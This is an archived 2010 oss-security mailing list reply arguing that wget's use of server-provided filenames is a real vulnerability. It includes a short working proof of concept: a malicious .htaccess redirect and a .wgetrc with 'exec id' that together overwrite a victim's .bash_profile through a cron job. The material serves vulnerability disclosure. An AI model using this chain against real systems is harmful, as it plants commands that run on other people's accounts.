[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <20100518234229.GA13745@openwall.com>
Date: Wed, 19 May 2010 03:42:29 +0400
From: Solar Designer <solar@...nwall.com>
To: oss-security@...ts.openwall.com
Subject: Re: [oCERT-2010-001] multiple http client unexpected download filename vulnerability
On Tue, May 18, 2010 at 09:50:27AM +0200, Ludwig Nussel wrote:
> wget doesn't overwrite existing files by default anyways. Instead it appends a
> suffix .1, .2 etc to the newly downloaded file.
Well, a server can sometimes override that default - please see below.
> wget also prints the file name it used.
This is of limited help - and for interactive uses only. I am mostly
concerned about uses from cron jobs and the like.
> So IMO it's perfectly fine and useful for wget to take the server
> provided file name by default.
I disagree. Uses from scripts and cron jobs are too common, and they
often don't care to specify an output filename explicitly.
Let's suppose there's a cron job like this:
1 * * * * wget http://www.openwall.com/pvt/wget/log &> /dev/null
If the server is malicious or compromised, it can have:
RedirectMatch log $1/pvt/wget/.wgetrc
in .htaccess, and
reject=; exec id
output-document=.bash_profile
in .wgetrc. When the cron job runs for the first time after the above
changes made on the server, it does:
02:01:02 (2.64 MB/s) - `.wgetrc' saved [47/47]
At this point, .wgetrc is on the client system. The second time the
cron job runs, it does:
03:01:02 (2.99 MB/s) - `.bash_profile' saved [47/47]
This has happily overwritten my .bash_profile file.
(I replaced "/dev/null" in the cron job with another filename for
obtaining these wget output lines.)
When I am logging in to the affected account, I get the output of "id".
Of course, the shell command could as well be nastier than that.
Although I used a somewhat tricky approach in the above exploit,
eventually making wget overwrite a file, it is also possible to mount
attacks that do not rely on overwriting any files. Many programs
support optional startup/config files of fixed/known/guessable names
that a malicious or compromised server could provide. In fact, I've
just demonstrated this attack against wget itself, but it could also
work against another program.
Is this more convincing now?
Alexander
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
